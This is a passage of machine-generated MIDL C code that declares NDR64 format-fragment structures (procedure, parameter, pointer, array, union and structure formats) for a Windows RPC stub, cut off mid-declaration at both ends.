_NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag412_t;\nextern const __midl_frag412_t __midl_frag412;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag398_t;\nextern const __midl_frag398_t __midl_frag398;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag392_t;\nextern const __midl_frag392_t __midl_frag392;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag391_t;\nextern const __midl_frag391_t __midl_frag391;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag390_t;\nextern const __midl_frag390_t __midl_frag390;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag389_t;\nextern const __midl_frag389_t __midl_frag389;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag388_t;\nextern const __midl_frag388_t __midl_frag388;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag384_t;\nextern const __midl_frag384_t __midl_frag384;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag383_t;\nextern const __midl_frag383_t __midl_frag383;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag382_t;\nextern const __midl_frag382_t __midl_frag382;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag381_t;\nextern const __midl_frag381_t __midl_frag381;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag380_t;\nextern const __midl_frag380_t __midl_frag380;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag379_t;\nextern const __midl_frag379_t __midl_frag379;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag378_t;\nextern const __midl_frag378_t __midl_frag378;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag367_t;\nextern const __midl_frag367_t __midl_frag367;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag365_t;\nextern const __midl_frag365_t __midl_frag365;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag364_t;\nextern const __midl_frag364_t __midl_frag364;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag362_t;\nextern const __midl_frag362_t __midl_frag362;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag361_t;\nextern const __midl_frag361_t __midl_frag361;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n}\n__midl_frag359_t;\nextern const __midl_frag359_t __midl_frag359;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag356_t;\nextern const __midl_frag356_t __midl_frag356;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag352_t;\nextern const __midl_frag352_t __midl_frag352;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag351_t;\nextern const __midl_frag351_t __midl_frag351;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag350_t;\nextern const __midl_frag350_t __midl_frag350;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag349_t;\nextern const __midl_frag349_t __midl_frag349;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag348_t;\nextern const __midl_frag348_t __midl_frag348;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag346_t;\nextern const __midl_frag346_t __midl_frag346;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag344_t;\nextern const __midl_frag344_t __midl_frag344;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag343_t;\nextern const __midl_frag343_t __midl_frag343;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag342_t;\nextern const __midl_frag342_t __midl_frag342;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag340_t;\nextern const __midl_frag340_t __midl_frag340;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag329_t;\nextern const __midl_frag329_t __midl_frag329;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag327_t;\nextern const __midl_frag327_t __midl_frag327;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag322_t;\nextern const __midl_frag322_t __midl_frag322;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag320_t;\nextern const __midl_frag320_t __midl_frag320;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag317_t;\nextern const __midl_frag317_t __midl_frag317;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_MEMPAD_FORMAT frag18;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n    } frag2;\n}\n__midl_frag315_t;\nextern const __midl_frag315_t __midl_frag315;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag314_t;\nextern const __midl_frag314_t __midl_frag314;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag313_t;\nextern const __midl_frag313_t __midl_frag313;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n    } frag2;\n}\n__midl_frag311_t;\nextern const __midl_frag311_t __midl_frag311;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag310_t;\nextern const __midl_frag310_t __midl_frag310;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag309_t;\nextern const __midl_frag309_t __midl_frag309;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag308_t;\nextern const __midl_frag308_t __midl_frag308;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag307_t;\nextern const __midl_frag307_t __midl_frag307;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag304_t;\nextern const __midl_frag304_t __midl_frag304;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag301_t;\nextern const __midl_frag301_t __midl_frag301;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag300_t;\nextern const __midl_frag300_t __midl_frag300;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag296_t;\nextern const __midl_frag296_t __midl_frag296;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag295_t;\nextern const __midl_frag295_t __midl_frag295;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag294_t;\nextern const __midl_frag294_t __midl_frag294;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag287_t;\nextern const __midl_frag287_t __midl_frag287;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag283_t;\nextern const __midl_frag283_t __midl_frag283;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag282_t;\nextern const __midl_frag282_t __midl_frag282;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag277_t;\nextern const __midl_frag277_t __midl_frag277;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag276_t;\nextern const __midl_frag276_t __midl_frag276;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag273_t;\nextern const __midl_frag273_t __midl_frag273;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag271_t;\nextern const __midl_frag271_t __midl_frag271;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag252_t;\nextern const __midl_frag252_t __midl_frag252;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag246_t;\nextern const __midl_frag246_t __midl_frag246;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag243_t;\nextern const __midl_frag243_t __midl_frag243;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag240_t;\nextern const __midl_frag240_t __midl_frag240;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag237_t;\nextern const __midl_frag237_t __midl_frag237;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag231_t;\nextern const __midl_frag231_t __midl_frag231;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag230_t;\nextern const __midl_frag230_t __midl_frag230;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag229_t;\nextern const __midl_frag229_t __midl_frag229;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag227_t;\nextern const __midl_frag227_t __midl_frag227;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag224_t;\nextern const __midl_frag224_t __midl_frag224;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag214_t;\nextern const __midl_frag214_t __midl_frag214;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag212_t;\nextern const __midl_frag212_t __midl_frag212;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag210_t;\nextern const __midl_frag210_t __midl_frag210;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag207_t;\nextern const __midl_frag207_t __midl_frag207;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag203_t;\nextern const __midl_frag203_t __midl_frag203;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag202_t;\nextern const __midl_frag202_t __midl_frag202;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag199_t;\nextern const __midl_frag199_t __midl_frag199;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag194_t;\nextern const __midl_frag194_t __midl_frag194;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag193_t;\nextern const __midl_frag193_t __midl_frag193;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag192_t;\nextern const __midl_frag192_t __midl_frag192;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag189_t;\nextern const __midl_frag189_t __midl_frag189;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag185_t;\nextern const __midl_frag185_t __midl_frag185;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag174_t;\nextern const __midl_frag174_t __midl_frag174;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag151_t;\nextern const __midl_frag151_t __midl_frag151;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n}\n__midl_frag144_t;\nextern const __midl_frag144_t __midl_frag144;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT 